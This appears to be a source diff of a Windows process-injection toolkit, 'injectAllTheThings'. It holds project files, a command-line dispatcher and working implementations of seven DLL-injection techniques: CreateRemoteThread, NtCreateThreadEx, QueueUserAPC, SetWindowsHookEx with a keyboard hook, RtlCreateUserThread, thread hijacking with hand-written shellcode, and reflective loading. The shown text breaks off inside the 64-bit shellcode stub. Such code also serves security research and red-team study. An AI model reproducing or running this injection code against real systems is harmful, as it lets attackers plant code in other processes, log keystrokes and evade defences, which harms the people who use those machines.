DWORD getThreadID(DWORD pid);
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// Technique 1: CreateRemoteThread
DWORD demoCreateRemoteThreadW(PCWSTR pszLibFile, DWORD dwProcessId);
// Technique 2: NtCreateThreadEx
DWORD demoNtCreateThreadEx(PCWSTR pszLibFile, DWORD dwProcessId);
struct NtCreateThreadExBuffer {
ULONG Size;
ULONG Unknown1;
ULONG Unknown2;
PULONG Unknown3;
ULONG Unknown4;
ULONG Unknown5;
ULONG Unknown6;
PULONG Unknown7;
ULONG Unknown8;
};
typedef NTSTATUS(WINAPI *LPFUN_NtCreateThreadEx) (
PHANDLE hThread,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
ULONG StackZeroBits,
ULONG SizeOfStackCommit,
ULONG SizeOfStackReserve,
LPVOID lpBytesBuffer
);
// Technique 3: QueueUserAPC
DWORD demoQueueUserAPC(PCWSTR pszLibFile, DWORD dwProcessId);
// Technique 4: SetWindowsHookEx
DWORD demoSetWindowsHookEx(PCWSTR pszLibFile, DWORD dwProcessId, wchar_t *strProcName);
// Technique 5: RtlCreateUserThread
BOOL RtlCreateUserThread_Injection();
DWORD demoRtlCreateUserThread(PCWSTR pszLibFile, DWORD dwProcessId);
// Function Pointer Typedef for RtlCreateUserThread
typedef DWORD(WINAPI * pRtlCreateUserThread)(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN BOOL CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN LPVOID StartAddress,
IN LPVOID StartParameter,
OUT HANDLE ThreadHandle,
OUT LPVOID ClientID
);
// Technique 6: thread suspend/inject/resume
#ifndef _WIN64
DWORD demoSuspendInjectResume(PCWSTR pszLibFile, DWORD dwProcessId);
#endif
DWORD demoSuspendInjectResume64(PCWSTR pszLibFile, DWORD dwProcessId);
// Technique 7: Reflective DLL Injection
DWORD demoReflectiveDllInjection(PCWSTR pszLibFile, DWORD dwProcessId);
@@ -0,0 +1,176 @@
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<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{57930B58-FE07-422A-BA81-636AAE3525B6}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>injectAllTheThings</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
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<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
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<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
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<PostBuildEvent>
<Command>copy ..\Debug\injectAllTheThings.exe ..\bin\injectAllTheThings_32.exe</Command>
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<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<Link>
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<OptimizeReferences>true</OptimizeReferences>
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<PostBuildEvent>
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<WarningLevel>Level3</WarningLevel>
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<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;WIN_X64;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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<OptimizeReferences>true</OptimizeReferences>
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<Command>copy ..\x64\Release\injectAllTheThings.exe ..\bin\injectAllTheThings_64.exe</Command>
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<ItemGroup>
<ClCompile Include="auxiliary.cpp" />
<ClCompile Include="GetProcAddressR.c" />
<ClCompile Include="LoadLibraryR.c" />
<ClCompile Include="main.cpp" />
<ClCompile Include="t_CreateRemoteThread.cpp" />
<ClCompile Include="t_NtCreateThreadEx.cpp" />
<ClCompile Include="t_QueueUserAPC.cpp" />
<ClCompile Include="t_ReflectiveDllInjection.cpp" />
<ClCompile Include="t_RtlCreateUserThread.cpp" />
<ClCompile Include="t_SetWindowsHookEx.cpp" />
<ClCompile Include="t_suspendInjectResume.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="auxiliary.h" />
<ClInclude Include="fheaders.h" />
<ClInclude Include="GetProcAddressR.h" />
<ClInclude Include="LoadLibraryR.h" />
<ClInclude Include="ReflectiveDLLInjection.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
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@@ -0,0 +1,69 @@
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<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
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<ItemGroup>
<ClCompile Include="main.cpp">
<Filter>Source Files</Filter>
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<ClCompile Include="auxiliary.cpp">
<Filter>Source Files</Filter>
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<ClCompile Include="t_NtCreateThreadEx.cpp">
<Filter>Source Files</Filter>
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<ClCompile Include="t_CreateRemoteThread.cpp">
<Filter>Source Files</Filter>
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<ClCompile Include="t_QueueUserAPC.cpp">
<Filter>Source Files</Filter>
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<ClCompile Include="t_SetWindowsHookEx.cpp">
<Filter>Source Files</Filter>
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<ClCompile Include="t_RtlCreateUserThread.cpp">
<Filter>Source Files</Filter>
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<ClCompile Include="t_suspendInjectResume.cpp">
<Filter>Source Files</Filter>
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<ClCompile Include="GetProcAddressR.c">
<Filter>Source Files</Filter>
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<Filter>Source Files</Filter>
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<ClCompile Include="t_ReflectiveDllInjection.cpp">
<Filter>Source Files</Filter>
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<ClInclude Include="auxiliary.h">
<Filter>Header Files</Filter>
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<Filter>Header Files</Filter>
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<Filter>Header Files</Filter>
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<ClInclude Include="ReflectiveDLLInjection.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
+73
View File
@@ -0,0 +1,73 @@
#include <Windows.h>
#include <stdio.h>
#include "fheaders.h"
#include "auxiliary.h"
DWORD wmain(int argc, wchar_t* argv[])
{
PCWSTR pszLibFile = NULL;
wchar_t *strProcName;
DWORD dwProcessId = 0;
DWORD dwTechnique = 0;
DWORD v = checkOS();
if (argc != 5)
{
displayHelp();
return(0);
}
if (_wcsicmp(argv[1], TEXT("-t")) == 0)
{
strProcName = (wchar_t *)malloc((wcslen(argv[1]) + 1) * sizeof(wchar_t));
strProcName = argv[3];
pszLibFile = (wchar_t *)malloc((wcslen(argv[2]) + 1) * sizeof(wchar_t));
pszLibFile = argv[4];
dwProcessId = findPidByName(strProcName);
if (dwProcessId == 0)
{
wprintf(TEXT("[-] Error: Could not find PID (%d).\n"), dwProcessId);
return(1);
}
switch (_wtoi(argv[2]))
{
case 1:
demoCreateRemoteThreadW(pszLibFile, dwProcessId);
break;
case 2:
if (v < 2)
wprintf(TEXT("[-] NtCreateThread() is only available in Windows Vista and up."));
else
demoNtCreateThreadEx(pszLibFile, dwProcessId);
break;
case 3:
demoQueueUserAPC(pszLibFile, dwProcessId);
break;
case 4:
demoSetWindowsHookEx(pszLibFile, dwProcessId, strProcName);
break;
case 5:
demoRtlCreateUserThread(pszLibFile, dwProcessId);
break;
case 6:
#ifdef _WIN64
demoSuspendInjectResume64(pszLibFile, dwProcessId);
#else
demoSuspendInjectResume(pszLibFile, dwProcessId);
#endif
break;
case 7:
demoReflectiveDllInjection(pszLibFile, dwProcessId);
break;
default:
displayHelp();
}
}
else
displayHelp();
return(0);
}
@@ -0,0 +1,72 @@
#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
#include "fheaders.h"
DWORD demoCreateRemoteThreadW(PCWSTR pszLibFile, DWORD dwProcessId)
{
// Calculate the number of bytes needed for the DLL's pathname
DWORD dwSize = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t);
// Get process handle passing in the process ID
HANDLE hProcess = OpenProcess(
PROCESS_QUERY_INFORMATION |
PROCESS_CREATE_THREAD |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE,
FALSE, dwProcessId);
if (hProcess == NULL)
{
wprintf(TEXT("[-] Error: Could not open process for PID (%d).\n"), dwProcessId);
return(1);
}
// Allocate space in the remote process for the pathname
LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (pszLibFileRemote == NULL)
{
wprintf(TEXT("[-] Error: Could not allocate memory inside PID (%d).\n"), dwProcessId);
return(1);
}
// Copy the DLL's pathname to the remote process address space
DWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL);
if (n == 0)
{
wprintf(TEXT("[-] Error: Could not write any bytes into the PID [%d] address space.\n"), dwProcessId);
return(1);
}
// Get the real address of LoadLibraryW in Kernel32.dll
PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
if (pfnThreadRtn == NULL)
{
wprintf(TEXT("[-] Error: Could not find LoadLibraryA function inside kernel32.dll library.\n"));
return(1);
}
// Create a remote thread that calls LoadLibraryW(DLLPathname)
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, pszLibFileRemote, 0, NULL);
if (hThread == NULL)
{
wprintf(TEXT("[-] Error: Could not create the Remote Thread.\n"));
return(1);
}
else
wprintf(TEXT("[+] Success: DLL injected via CreateRemoteThread().\n"));
// Wait for the remote thread to terminate
WaitForSingleObject(hThread, INFINITE);
// Free the remote memory that contained the DLL's pathname and close Handles
if (pszLibFileRemote != NULL)
VirtualFreeEx(hProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hThread != NULL)
CloseHandle(hThread);
if (hProcess != NULL)
CloseHandle(hProcess);
return(0);
}
+111
View File
@@ -0,0 +1,111 @@
#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
#include "fheaders.h"
DWORD demoNtCreateThreadEx(PCWSTR pszLibFile, DWORD dwProcessId)
{
HANDLE hRemoteThread = NULL;
NtCreateThreadExBuffer ntbuffer;
LARGE_INTEGER dwTmp1 = { 0 };
LARGE_INTEGER dwTmp2 = { 0 };
memset(&ntbuffer, 0, sizeof(NtCreateThreadExBuffer));
DWORD dwSize = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t);
HANDLE hProcess = OpenProcess(
PROCESS_QUERY_INFORMATION |
PROCESS_CREATE_THREAD |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE,
FALSE, dwProcessId);
if (hProcess == NULL)
{
wprintf(TEXT("[-] Error: Could not open process for PID (%d).\n"), dwProcessId);
return(1);
}
LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (pszLibFileRemote == NULL)
{
wprintf(TEXT("[-] Error: Could not allocate memory inside PID (%d).\n"), dwProcessId);
return(1);
}
int n = WriteProcessMemory(hProcess, pszLibFileRemote, (LPVOID)pszLibFile, dwSize, NULL);
if (n == 0)
{
wprintf(TEXT("[-] Error: Could not write any bytes into the PID (%d) address space.\n"), dwProcessId);
return(1);
}
PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
if (pfnThreadRtn == NULL)
{
wprintf(TEXT("[-] Error: Could not find LoadLibraryA function inside kernel32.dll library.\n"));
return(1);
}
PTHREAD_START_ROUTINE ntCreateThreadExAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx");
if (pfnThreadRtn == NULL)
{
wprintf(TEXT("[-] Error: Could not find NtCreateThreadEx function inside ntdll.dll library.\n"));
return(1);
}
if (ntCreateThreadExAddr)
{
ntbuffer.Size = sizeof(struct NtCreateThreadExBuffer);
ntbuffer.Unknown1 = 0x10003;
ntbuffer.Unknown2 = 0x8;
ntbuffer.Unknown3 = (DWORD*)&dwTmp2;
ntbuffer.Unknown4 = 0;
ntbuffer.Unknown5 = 0x10004;
ntbuffer.Unknown6 = 4;
ntbuffer.Unknown7 = (DWORD*)&dwTmp1;
ntbuffer.Unknown8 = 0;
LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx)ntCreateThreadExAddr;
NTSTATUS status = funNtCreateThreadEx(
&hRemoteThread,
0x1FFFFF,
NULL,
hProcess,
pfnThreadRtn,
(LPVOID)pszLibFileRemote,
FALSE,
NULL,
NULL,
NULL,
NULL
);
#ifdef _DEBUG
wprintf(TEXT("[+] Status: %s\n"), status);
#endif
if (status != NULL) // FIXME: always returns NULL even when it suceeds. Go figure.
{
wprintf(TEXT("[-] NtCreateThreadEx Failed! [%d][%08x]\n"), GetLastError(), status);
return(1);
}
else
{
wprintf(TEXT("[+] Success: DLL injected via NtCreateThreadEx().\n"));
WaitForSingleObject(hRemoteThread, INFINITE);
}
}
if (pszLibFileRemote != NULL)
VirtualFreeEx(hProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hRemoteThread != NULL)
CloseHandle(hRemoteThread);
if (hProcess != NULL)
CloseHandle(hProcess);
return(0);
}
+87
View File
@@ -0,0 +1,87 @@
#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
#include "fheaders.h"
#include "auxiliary.h"
DWORD demoQueueUserAPC(PCWSTR pszLibFile, DWORD dwProcessId)
{
int cb = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t);
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE,
FALSE, dwProcessId);
if (hProcess == NULL)
{
wprintf(TEXT("[-] Error: Could not open process for PID (%d).\n"), dwProcessId);
return(1);
}
LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);
if (pszLibFileRemote == NULL)
{
wprintf(TEXT("[-] Error: Could not allocate memory inside PID (%d).\n"), dwProcessId);
return(1);
}
LPVOID pfnThreadRtn = (LPVOID)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
if (pfnThreadRtn == NULL)
{
wprintf(TEXT("[-] Error: Could not find LoadLibraryA function inside kernel32.dll library.\n"));
return(1);
}
DWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, cb, NULL);
if (n == 0)
{
wprintf(TEXT("[-] Error: Could not write any bytes into the PID (%d) address space.\n"), dwProcessId);
return(1);
}
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
wprintf(TEXT("[-] Error: Unable to get thread information\n"));
return(1);
}
DWORD threadId = 0;
THREADENTRY32 threadEntry;
threadEntry.dwSize = sizeof(THREADENTRY32);
BOOL bResult = Thread32First(hSnapshot, &threadEntry);
while (bResult)
{
bResult = Thread32Next(hSnapshot, &threadEntry);
if (bResult)
{
if (threadEntry.th32OwnerProcessID == dwProcessId)
{
threadId = threadEntry.th32ThreadID;
wprintf(TEXT("[+] Using thread: %i\n"), threadId);
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threadId);
if (hThread == NULL)
wprintf(TEXT("[-] Error: Can't open thread. Continuing to try other threads...\n"));
else
{
DWORD dwResult = QueueUserAPC((PAPCFUNC)pfnThreadRtn, hThread, (ULONG_PTR)pszLibFileRemote);
if (!dwResult)
wprintf(TEXT("[-] Error: Couldn't call QueueUserAPC on thread> Continuing to try othrt threads...\n"));
else
wprintf(TEXT("[+] Success: DLL injected via CreateRemoteThread().\n"));
CloseHandle(hThread);
}
}
}
}
if (!threadId)
wprintf(TEXT("[-] Error: No threads found in thr target process\n"));
CloseHandle(hSnapshot);
CloseHandle(hProcess);
return(0);
}
@@ -0,0 +1,91 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <tchar.h>
#include <ntsecapi.h>
#include <string.h>
#include <stdlib.h>
#include <malloc.h>
#include "LoadLibraryR.h"
#pragma comment(lib,"Advapi32.lib")
#define BREAK_WITH_ERROR(e) { wprintf(TEXT("[-] %s. Error=%d"), e, GetLastError()); break; }
extern "C" HANDLE __stdcall LoadRemoteLibraryR(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter);
DWORD demoReflectiveDllInjection(PCWSTR cpDllFile, DWORD dwProcessId)
{
HANDLE hFile = NULL;
HANDLE hModule = NULL;
HANDLE hProcess = NULL;
LPVOID lpBuffer = NULL;
DWORD dwLength = 0;
DWORD dwBytesRead = 0;
do
{
hFile = CreateFileW(cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) BREAK_WITH_ERROR("[-] Failed to open the DLL file!");
dwLength = GetFileSize(hFile, NULL);
if (dwLength == INVALID_FILE_SIZE || dwLength == 0) BREAK_WITH_ERROR("[-] Failed to get the DLL file size!");
#ifdef _DEBUG
wprintf(TEXT("[+] File Size: %d\n"), dwLength);
#endif
lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength);
if (!lpBuffer) BREAK_WITH_ERROR("[-] Failed to get the DLL file size!");
if (ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL) == FALSE) BREAK_WITH_ERROR("[-] Failed to alloc a buffer!");
hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId);
if (!hProcess) BREAK_WITH_ERROR("[-] Failed to open the target process!");
hModule = LoadRemoteLibraryR(hProcess, lpBuffer, dwLength, NULL);
if (!hModule) BREAK_WITH_ERROR("[-] Failed to inject the DLL!");
wprintf(TEXT("[+] Injected '%s' into process ID %d!"), cpDllFile, dwProcessId);
WaitForSingleObject(hModule, -1);
} while (0);
if (lpBuffer) HeapFree(GetProcessHeap(), 0, lpBuffer);
if (hProcess) CloseHandle(hProcess);
return 0;
}
@@ -0,0 +1,82 @@
#include <Windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <tchar.h>
#include "fheaders.h"
#include"auxiliary.h"
DWORD demoRtlCreateUserThread(PCWSTR pszLibFile, DWORD dwProcessId)
{
pRtlCreateUserThread RtlCreateUserThread = NULL;
HANDLE hRemoteThread = NULL;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (hProcess == NULL)
{
wprintf(L"[-] Error: Could not open process for PID (%d).\n", dwProcessId);
exit(1);
}
LPVOID LoadLibraryAddress = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
if (LoadLibraryAddress == NULL)
{
wprintf(L"[-] Error: Could not find LoadLibraryA function inside kernel32.dll library.\n");
exit(1);
}
RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlCreateUserThread");
if (RtlCreateUserThread == NULL)
{
wprintf(L"[-] Error: Could not find RtlCreateUserThread function inside ntdll.dll library.\n");
exit(1);
}
#ifdef _DEBUG
wprintf(TEXT("[+] Found at 0x%08x\n"), (UINT)RtlCreateUserThread);
wprintf(TEXT("[+] Found at 0x%08x\n"), (UINT)LoadLibraryAddress);
#endif
DWORD dwSize = (wcslen(pszLibFile) + 1) * sizeof(wchar_t);
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpBaseAddress == NULL)
{
wprintf(L"[-] Error: Could not allocate memory inside PID (%d).\n", dwProcessId);
exit(1);
}
BOOL bStatus = WriteProcessMemory(hProcess, lpBaseAddress, pszLibFile, dwSize, NULL);
if (bStatus == 0)
{
wprintf(L"[-] Error: Could not write any bytes into the PID (%d) address space.\n", dwProcessId);
return(1);
}
bStatus = (BOOL)RtlCreateUserThread(
hProcess,
NULL,
0,
0,
0,
0,
LoadLibraryAddress,
lpBaseAddress,
&hRemoteThread,
NULL);
if (bStatus < 0)
{
wprintf(TEXT("[-] Error: RtlCreateUserThread failed\n"));
return(1);
}
else
{
wprintf(TEXT("[+] Remote thread has been created successfully ...\n"));
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hProcess);
VirtualFreeEx(hProcess, lpBaseAddress, dwSize, MEM_RELEASE);
return(0);
}
return(0);
}
+52
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#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
#include "fheaders.h"
#include "auxiliary.h"
DWORD demoSetWindowsHookEx(PCWSTR pszLibFile, DWORD dwProcessId, wchar_t *strProcName)
{
DWORD dwThreadId = getThreadID(dwProcessId);
if (dwThreadId == (DWORD)0)
{
wprintf(TEXT("[-] Error: Cannot find thread"));
return(1);
}
#ifdef _DEBUG
wprintf(TEXT("[+] Using Thread ID %u\n"), dwThreadId);
#endif
HMODULE dll = LoadLibraryEx(pszLibFile, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (dll == NULL)
{
wprintf(TEXT("[-] Error: The DLL could not be found.\n"));
return(1);
}
// Your DLL needs to export the 'poc' function
HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "poc");
if (addr == NULL)
{
wprintf(TEXT("[-] Error: The DLL exported function was not found.\n"));
return(1);
}
HWND targetWnd = FindWindow(NULL, strProcName);
GetWindowThreadProcessId(targetWnd, &dwProcessId);
HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, dwThreadId);
if (handle == NULL)
{
wprintf(TEXT("[-] Error: The KEYBOARD could not be hooked.\n"));
return(1);
}
else
{
wprintf(TEXT("[+] Program successfully hooked.\nPress enter to unhook the function and stop the program.\n"));
getchar();
UnhookWindowsHookEx(handle);
}
return(0);
}
@@ -0,0 +1,238 @@
#include <Windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <tchar.h>
#include "fheaders.h"
#include "auxiliary.h"
#ifndef _WIN64
unsigned char sc[] =
{
0x68, 0xef, 0xbe, 0xad, 0xde, // push 0xDEADBEEF
0x9c, // pushfd
0x60, // pushad
0x68, 0xef, 0xbe, 0xad, 0xde, //push 0xDEADBEEF
0xb8, 0xef, 0xbe, 0xad, 0xde, // mov eax, 0xDEADBEEF
0xff, 0xd0, // call eax
0x61, // popad
0x9d, //popfd
0xc3 //ret
};
DWORD demoSuspendInjectResume(PCWSTR pszLibFile, DWORD dwProcessId)
{
void *stub;
unsigned long threadID, oldIP, oldprot;
HANDLE hThread;
CONTEXT ctx;
DWORD stubLen = sizeof(sc);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (hProcess == NULL)
{
wprintf(L"[-] Error: Could not open process for PID (%d).\n", dwProcessId);
return(1);
}
DWORD LoadLibraryAddress = (DWORD)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
if (LoadLibraryAddress == NULL)
{
wprintf(L"[-] Error: Could not find LoadLibraryA function inside kernel32.dll library.\n");
exit(1);
}
SIZE_T dwSize = (wcslen(pszLibFile) + 1) * sizeof(wchar_t);
LPVOID lpDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpDllAddr == NULL)
{
wprintf(L"[-] Error: Could not allocate memory inside PID (%d).\n", dwProcessId);
exit(1);
}
stub = VirtualAllocEx(hProcess, NULL, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (stub == NULL)
{
wprintf(L"[-] Error: Could not allocate memory for stub.\n");
exit(1);
}
BOOL bStatus = WriteProcessMemory(hProcess, lpDllAddr, pszLibFile, dwSize, NULL);
if (bStatus == 0)
{
wprintf(L"[-] Error: Could not write any bytes into the PID (%d) address space.\n", dwProcessId);
return(1);
}
threadID = getThreadID(dwProcessId);
hThread = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, threadID);
if (hThread != NULL)
{
SuspendThread(hThread);
}
else
printf("could not open thread\n");
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(hThread, &ctx);
oldIP = ctx.Eip;
ctx.Eip = (DWORD)stub;
ctx.ContextFlags = CONTEXT_CONTROL;
VirtualProtect(sc, stubLen, PAGE_EXECUTE_READWRITE, &oldprot);
memcpy((void *)((unsigned long)sc + 1), &oldIP, 4);
memcpy((void *)((unsigned long)sc + 8), &lpDllAddr, 4);
memcpy((void *)((unsigned long)sc + 13), &LoadLibraryAddress, 4);
WriteProcessMemory(hProcess, stub, sc, stubLen, NULL);
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
Sleep(8000);
VirtualFreeEx(hProcess, lpDllAddr, dwSize, MEM_DECOMMIT);
VirtualFreeEx(hProcess, stub, stubLen, MEM_DECOMMIT);
CloseHandle(hProcess);
CloseHandle(hThread);
return(0);
}
#else
unsigned char sc[] = {
0x50, // push rax (save rax)
0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, 0CCCCCCCCCCCCCCCCh (place holder for return address)
0x9c, // pushfq
0x51, // push rcx
0x52, // push rdx
0x53, // push rbx
0x55, // push rbp
0x56, // push rsi
0x57, // push rdi
0x41, 0x50, // push r8
0x41, 0x51, // push r9
